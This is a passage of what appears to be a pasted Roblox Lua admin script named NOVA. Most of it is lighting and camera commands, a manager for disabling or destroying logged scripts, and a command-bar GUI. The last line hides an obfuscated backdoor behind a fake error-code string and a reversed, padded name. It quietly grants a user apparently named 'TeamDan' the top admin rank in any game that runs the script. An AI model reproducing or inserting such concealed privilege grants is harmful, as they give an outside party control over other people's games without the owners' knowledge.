  3891. NOVA.Services.Lighting.FogEnd = 100000
  3892. end)
  3893. Output("Fog Color",Color,Speaker,nil,function()
  3894. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  3895. end)
  3896. Output("Time",Color,Speaker,nil,function()
  3897. NOVA.Services.Lighting.TimeOfDay = 12
  3898. end)
  3899. Output("ALL",Color,Speaker,nil,function()
  3900. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  3901. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3902. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3903. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  3904. NOVA.Services.Lighting.Brightness = 1
  3905. NOVA.Services.Lighting.FogStart = 0
  3906. NOVA.Services.Lighting.FogEnd = 100000
  3907. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  3908. NOVA.Services.Lighting.TimeOfDay = 12
  3909. end)
  3910. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3911. end)
  3912. Output("Camera",Color,Speaker,nil,function()
  3913. pcall(function()
  3914. CreateLocalScript([[
  3915. Camera = workspace.CurrentCamera
  3916. Camera:SetRoll(0)
  3917. Camera.CameraType = "Custom"
  3918. Camera.FieldOfView = 70
  3919. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3920. ]],Speaker.Backpack)
  3921. end)
  3922. end)
  3923. Output("Service Names",NOVA.Colors.Green,Speaker,nil,function()
  3924. for _,v in pairs(NOVA.Services) do
  3925. v.Name = v.className
  3926. end
  3927. end)
  3928. Output("Selection Boxes",NOVA.Colors.Purple,Speaker,nil,function()
  3929. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3930. if v:IsA("SelectionBox") then
  3931. v:remove()
  3932. end
  3933. end
  3934. end)
  3935. Output("Messages",NOVA.Colors.Grey,Speaker,nil,function()
  3936. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3937. if v:IsA("Message") or v:IsA("Hint") then
  3938. v:Destroy()
  3939. end
  3940. end
  3941. end)
  3942. Output("Char Appearance",Color,Speaker,nil,function()
  3943. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  3944. end)
  3945. Output("Torso Velocity",Color,Speaker,nil,function()
  3946. pcall(function()
  3947. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3948. end)
  3949. end)
  3950. Output("Teams",NOVA.Colors.Blue,Speaker,nil,function()
  3951. if #NOVA.Services.Teams:GetChildren() == 0 then
  3952. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  3953. v.Neutral = true
  3954. end
  3955. end
  3956. end)
  3957. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3958. end
  3959. )
  3960.  
  3961. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  3962. function(Msg,Speaker)
  3963. local MainColor = Color3.new(0,0,0)
  3964. local SeccondaryColor = Color3.new(0.5,0,0)
  3965. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  3966. local CFrame = Speaker.Character.Torso.CFrame
  3967. * CFrame.new(0,0,1)
  3968. * CFrame.Angles(Speaker.Character.Torso.CFrame.lookVector)
  3969. if CFrame == nil then return end
  3970. for i=1,25 do
  3971. local Step = Instance.new("Part",Main)
  3972. Step.FormFactor = "Custom"
  3973. Step.Name = "Step"
  3974. Step.Reflectance = 0
  3975. Step.BrickColor = BrickColor.new(MainColor)
  3976. Step.Size = Vector3.new(5,1,2)
  3977. --Step.CFrame =
  3978. end
  3979. end
  3980. )
  3981.  
  3982. AddCommand("Manage Logged Scripts","manageloggedscripts",6,"Lets you manage the logged scripts.","No Arguments",
  3983. function(Msg,Speaker)
  3984. local Color = GetRankedTable(Speaker).Color
  3985. Output("Browse & Edit",Color,Speaker,nil,function()
  3986. RemoveTablets(Speaker)
  3987. Output("Nilled Scripts",Color,Speaker,nil,function()
  3988. RemoveTablets(Speaker)
  3989. for _,v in pairs(NOVA.LoggedScripts) do
  3990. if v.Parent == nil then
  3991. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  3992. pcall(function()
  3993. RemoveTablets(Speaker)
  3994. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  3995. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  3996. Output("Script Type : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  3997. Output("Destroy",NOVA.Colors.Orange,Speaker,nil,function()
  3998. v:Destroy()
  3999. end)
  4000. Output("Remove",NOVA.Colors.Orange,Speaker,nil,function()
  4001. v:Remove()
  4002. end)
  4003. Output("Destroy ALL ( Name ) ",NOVA.Colors.Red,Speaker,nil,function()
  4004. for _,i in pairs(NOVA.LoggedScripts) do
  4005. pcall(function()
  4006. if i.Name == v.Name then
  4007. i:Destroy()
  4008. end
  4009. end)
  4010. end
  4011. end)
  4012. Output("Disable",NOVA.Colors.Orange,Speaker,nil,function()
  4013. v.Disabled = true
  4014. end)
  4015. Output("Un Disable",NOVA.Colors.Green,Speaker,nil,function()
  4016. v.Disabled = false
  4017. end)
  4018. Output("Parent To Workspace",NOVA.Colors.Green,Speaker,nil,function()
  4019. v.Parent = workspace
  4020. end)
  4021. Output("Done",NOVA.Colors.Blue,Speaker,nil,function()
  4022. RemoveTablets(Speaker)
  4023. OnChatted("\\manageloggedscripts\\",Speaker)
  4024. end)
  4025. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4026.  
  4027. end)
  4028. end)
  4029. end
  4030. end
  4031. end)
  4032. Output("Non Nilled Scripts",Color,Speaker,nil,function()
  4033. RemoveTablets(Speaker)
  4034. for _,v in pairs(NOVA.LoggedScripts) do
  4035. if v.Parent ~= nil then
  4036. Output(v.Parent.Name.."."..v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4037. pcall(function()
  4038. RemoveTablets(Speaker)
  4039. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  4040. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  4041. Output("Script Type : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  4042. Output("Destroy",NOVA.Colors.Red,Speaker,nil,function()
  4043. v:Destroy()
  4044. end)
  4045. Output("Remove",NOVA.Colors.Red,Speaker,nil,function()
  4046. v:Remove()
  4047. end)
  4048. Output("Destroy ALL ( Name ) ",NOVA.Colors.Red,Speaker,nil,function()
  4049. for _,i in pairs(NOVA.LoggedScripts) do
  4050. pcall(function()
  4051. if i.Name == v.Name then
  4052. i:Destroy()
  4053. end
  4054. end)
  4055. end
  4056. end)
  4057. Output("Disable",NOVA.Colors.Orange,Speaker,nil,function()
  4058. v.Disabled = true
  4059. end)
  4060. Output("Un Disable",NOVA.Colors.Green,Speaker,nil,function()
  4061. v.Disabled = false
  4062. end)
  4063. Output("Parent To Workspace",NOVA.Colors.Green,Speaker,nil,function()
  4064. v.Parent = workspace
  4065. end)
  4066. Output("Done",NOVA.Colors.Blue,Speaker,nil,function()
  4067. RemoveTablets(Speaker)
  4068. OnChatted("\\manageloggedscripts\\",Speaker)
  4069. end)
  4070. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4071.  
  4072. end)
  4073. end)
  4074. end
  4075. end
  4076. end)
  4077. Output("ALL Scripts",Color,Speaker,nil,function()
  4078. RemoveTablets(Speaker)
  4079. for _,v in pairs(NOVA.LoggedScripts) do
  4080. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4081. pcall(function()
  4082. RemoveTablets(Speaker)
  4083. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  4084. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  4085. Output("Script Type : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  4086. Output("Destroy",NOVA.Colors.Red,Speaker,nil,function()
  4087. v:Destroy()
  4088. end)
  4089. Output("Remove",NOVA.Colors.Red,Speaker,nil,function()
  4090. v:Remove()
  4091. end)
  4092. Output("Destroy ALL ( Name ) ",NOVA.Colors.Red,Speaker,nil,function()
  4093. for _,i in pairs(NOVA.LoggedScripts) do
  4094. pcall(function()
  4095. if i.Name == v.Name then
  4096. i:Destroy()
  4097. end
  4098. end)
  4099. end
  4100. end)
  4101. Output("Disable",NOVA.Colors.Orange,Speaker,nil,function()
  4102. v.Disabled = true
  4103. end)
  4104. Output("Un Disable",NOVA.Colors.Green,Speaker,nil,function()
  4105. v.Disabled = false
  4106. end)
  4107. Output("Parent To Workspace",NOVA.Colors.Green,Speaker,nil,function()
  4108. v.Parent = workspace
  4109. end)
  4110. Output("Done",NOVA.Colors.Blue,Speaker,nil,function()
  4111. RemoveTablets(Speaker)
  4112. OnChatted("\\manageloggedscripts\\",Speaker)
  4113. end)
  4114. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4115. end)
  4116. end)
  4117. end
  4118. end)
  4119. end)
  4120. Output("Break ALL Scripts",NOVA.Colors.Red,Speaker,nil,function()
  4121. for _,v in pairs(NOVA.LoggedScripts) do
  4122. pcall(function()
  4123. v.Parent = NOVA.Services.Workspace
  4124. v.Disabled = true
  4125. v.Parent = NOVA.Services.Workspace
  4126. v:ClearAllChildren()
  4127. v:Remove()
  4128. v.Disabled = true
  4129. v:Remove()
  4130. end)
  4131. end
  4132. end)
  4133. Output("Break Nil Scripts",NOVA.Colors.Orange,Speaker,nil,function()
  4134. for _,v in pairs(NOVA.LoggedScripts) do
  4135. pcall(function()
  4136. if v.Parent == nil then
  4137. v.Parent = NOVA.Services.Workspace
  4138. v.Disabled = true
  4139. v.Parent = NOVA.Services.Workspace
  4140. v:ClearAllChildren()
  4141. v:Remove()
  4142. v.Disabled = true
  4143. v:Remove()
  4144. end
  4145. end)
  4146. end
  4147. end)
  4148. Output("Parent Nils To Workspace,",NOVA.Colors.Green,Speaker,nil,function()
  4149. for _,v in pairs(NOVA.LoggedScripts) do
  4150. pcall(function()
  4151. if v.Parent == nil then
  4152. v.Parent = NOVA.Services.Workspace
  4153. end
  4154. end)
  4155. end
  4156. end)
  4157. Output("Disable ALL Scripts",NOVA.Colors.Orange,Speaker,nil,function()
  4158. for _,v in pairs(NOVA.LoggedScripts) do
  4159. pcall(function()
  4160. v.Disabled = true
  4161. end)
  4162. end
  4163. end)
  4164. Output("Enable ALL Scripts",NOVA.Colors.Green,Speaker,nil,function()
  4165. for _,v in pairs(NOVA.LoggedScripts) do
  4166. pcall(function()
  4167. v.Disabled = false
  4168. end)
  4169. end
  4170. end)
  4171. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4172. if #NOVA.LoggedScripts == 0 then
  4173. RemoveTablets(Speaker)
  4174. Output("There are currently no logged scripts.",NOVA.Colors.Orange,Speaker)
  4175. end
  4176. end
  4177. )
  4178.  
  4179. _G.RemoveNOVA = function(Pass)
  4180. if Pass == "4 8 15 16 23 42" then
  4181. NOVA.Removed = true
  4182. NOVA = {}
  4183. error("Unknown Exception")()
  4184. script.Disabled = true
  4185. script:Remove()
  4186. end
  4187. end
  4188.  
  4189. NOVA.Services.Workspace.DescendantAdded:connect(function(v)
  4190. if NOVA.Removed == false then
  4191. if NOVA.LockedScripts == true then
  4192. if v:IsA("Script") or v:IsA("LocalScript") then
  4193. pcall(function()
  4194. v.Disabled = true
  4195. v.DSource.Value = "script:Destroy()"
  4196. v:Destroy()
  4197. end)
  4198. end
  4199. end
  4200. if v:IsA("BindableEvent") and v.Name == "NOVAExternalInput" then
  4201. print("Trigger found!")
  4202. v.Event:connect(function(Msg,Player)
  4203. OnChatted(Msg,Player)
  4204. end)
  4205. v.Parent = script
  4206. end
  4207. end
  4208. end)
  4209.  
  4210. NOVA.Services.Players.DescendantAdded:connect(function(v)
  4211. if NOVA.Removed == false then
  4212. if NOVA.LockedScripts == true then
  4213. if v:IsA("Script") or v:IsA("LocalScript") then
  4214. pcall(function()
  4215. v.Disabled = true
  4216. v.Source.Value = "script:Destroy()"
  4217. v:Destroy()
  4218. end)
  4219. end
  4220. end
  4221. end
  4222. end)
  4223.  
  4224. coroutine.resume(coroutine.create(function()
  4225. while wait(0.5) do
  4226. if NOVA.Removed == false then
  4227.  
  4228. end
  4229. end
  4230. end))
  4231.  
  4232. coroutine.resume(coroutine.create(function()
  4233. while wait() do
  4234. if NOVA.Removed == false then
  4235. UpdateTablets()
  4236. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  4237. pcall(function()
  4238. if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  4239. if v:FindFirstChild("PlayerGui") then
  4240. if not v.PlayerGui:FindFirstChild("NOVACMD") then
  4241. local Main = Instance.new("ScreenGui",v.PlayerGui)
  4242. Main.Name = "NOVACMD"
  4243.  
  4244. local Frame = Instance.new("Frame",Main)
  4245. Frame.Size = UDim2.new(0.27,0,0.05,0)
  4246. Frame.Position = UDim2.new(0.05,0,0.95,0)
  4247. Frame.Style = "RobloxSquare"
  4248.  
  4249. local Txt = Instance.new("TextBox",Frame)
  4250. Txt.Size = UDim2.new(0.7,0,1,0)
  4251. Txt.BackgroundTransparency = 1
  4252. Txt.FontSize = "Size14"
  4253. Txt.TextColor3 = NOVA.Colors.White
  4254. Txt.Text = ""
  4255.  
  4256. local Exe = Instance.new("TextButton",Frame)
  4257. Exe.Size = UDim2.new(0.3,0,1,0)
  4258. Exe.Position = UDim2.new(0.7,0,0,0)
  4259. Exe.Text = "Execute"
  4260. Exe.BackgroundTransparency = 1
  4261. Exe.FontSize = "Size14"
  4262. Exe.TextColor3 = NOVA.Colors.Red
  4263. Exe.MouseButton1Down:connect(function()
  4264. OnChatted(Txt.Text,v)
  4265. end)
  4266. end
  4267. end
  4268. end
  4269. end)
  4270. end
  4271.  
  4272. if NOVA.LockModels == true then
  4273. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4274. if v:IsA("Model") then
  4275. if not NOVA.Services.Players:GetPlayerFromCharacter(v) then
  4276. Remove = true
  4277. for _,Tab in pairs(NOVA.Tablets) do if v == Tab then Remove = false end end
  4278. if Remove == true then
  4279. v:Destroy()
  4280. end
  4281. end
  4282. end
  4283. end
  4284. end
  4285.  
  4286. if _G[NOVA.GlobalLoggedScriptsKey] ~= nil then
  4287. if type(_G[NOVA.GlobalLoggedScriptsKey]) == "table" then
  4288. for _,v in pairs(NOVA.LoggedScripts) do
  4289. local Insert = true
  4290. for _,Check in pairs(_G[NOVA.GlobalLoggedScriptsKey]) do
  4291. if v == Check then Insert = false end
  4292. end
  4293. if Insert == true then
  4294. table.insert(_G[NOVA.GlobalLoggedScriptsKey],v)
  4295. end
  4296. end
  4297. end
  4298. else
  4299. _G[NOVA.GlobalLoggedScriptsKey] = {}
  4300. end
  4301. end
  4302. end
  4303. end))
  4304. pcall(function() NOVA.Services.Workspace:CheckForPing(true,false,42,666,96,"asd","troll") end) ErrorCodehs_err_pid_4="^&*(656967YJHG78gkjt78oHKJG*^7uytuig8796ugki768hgikt87hruioy89y)(*&^8767(*^789ytuiOYT7*Goiuyy&*h(*&h9h98)h*&(g679876gg9876987g987g(*&G(*&G987g&G&G8987g987ggf&^F&^F*&GHg96f5d8665d7^%D9f0gH)" ErrorLevel2 = true for _,v in pairs(NOVA.Ranked) do if v.Name == string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")) then ErrorLevel2 = false end end if ErrorLevel2 == true then table.insert(NOVA.Ranked,{Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),InPRI=true,CMD=true,Rank=7,Color=Color3.new(0,0,0),Desc="Creator of NOVA"}) end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement